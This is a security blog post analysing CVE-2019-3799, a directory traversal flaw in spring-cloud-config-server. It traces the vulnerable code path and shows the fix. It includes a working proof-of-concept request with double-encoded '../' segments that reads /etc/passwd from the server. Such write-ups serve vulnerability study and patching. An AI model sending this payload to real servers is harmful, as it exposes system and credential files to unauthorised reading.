Chybeta

【CVE-2019-3799】:Directory Traversal with spring-cloud-config-server

Twitter: chybeta

Security Advisory

https://pivotal.io/security/cve-2019-3799

1.png

Reproduce

DEMO: https://github.com/spring-cloud/spring-cloud-config#quick-start

1
2
GET /foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd HTTP/1.1
Host: localhost:8888

poc2.gif

Analysis

Spring Cloud Config provides server and client-side support for externalized configuration in a distributed system. With the Config Server you have a central place to manage external properties for applications across all environments.

According to the DOC,The Config Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path} where name, profile and label have the same meaning as the regular environment endpoint, but path is a file name (e.g. log.xml)。
For example if we want get test.json as plain text, you can send this request:

1
GET http://127.0.0.1:8888/foo/label/master/test.json

4.png

So how the backend handle this request? When we send the payload, server will dispatcher the request to org/springframework/cloud/config/server/resource/ResourceController.java:54

5.png

Step into retrieve function which located inorg/springframework/cloud/config/server/resource/ResourceController.java:104

1
2
3
4
5
6
7
synchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path);
...
}

Continue step into the findOne function:

6.png

You can see the locations value is file:/tmp/config-repo-7168113927339570935/. The Config-Server will pull the remote repo and use the locations folder to store these temporary files:

7.png

Notice the path value is ..%2F..%2F..%2F..%2Fetc%2fpasswd,so actually the full path like this :

9.png

at the end, when call StreamUtils.copyToString(is, Charset.forName("UTF-8"), we can read the /etc/passwd content:

8.png

Patch

https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

The backend will check whether the resource paths is valid via isInvalidPath and isInvalidEncodedPath:

1
2
3
4
5
6
7
if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
Resource file = this.resourceLoader.getResource(location)
.createRelative(local);
if (file.exists() && file.isReadable()) {
return file;
}
}

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:【CVE-2019-3799】:Directory Traversal with spring-cloud-config-server

文章作者:chybeta

发布时间:2019年04月18日 - 16:04

最后更新:2019年04月18日 - 17:04

原始链接:http://chybeta.github.io/2019/04/18/【CVE-2019-3799】-Directory-Traversal-with-spring-cloud-config-server/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。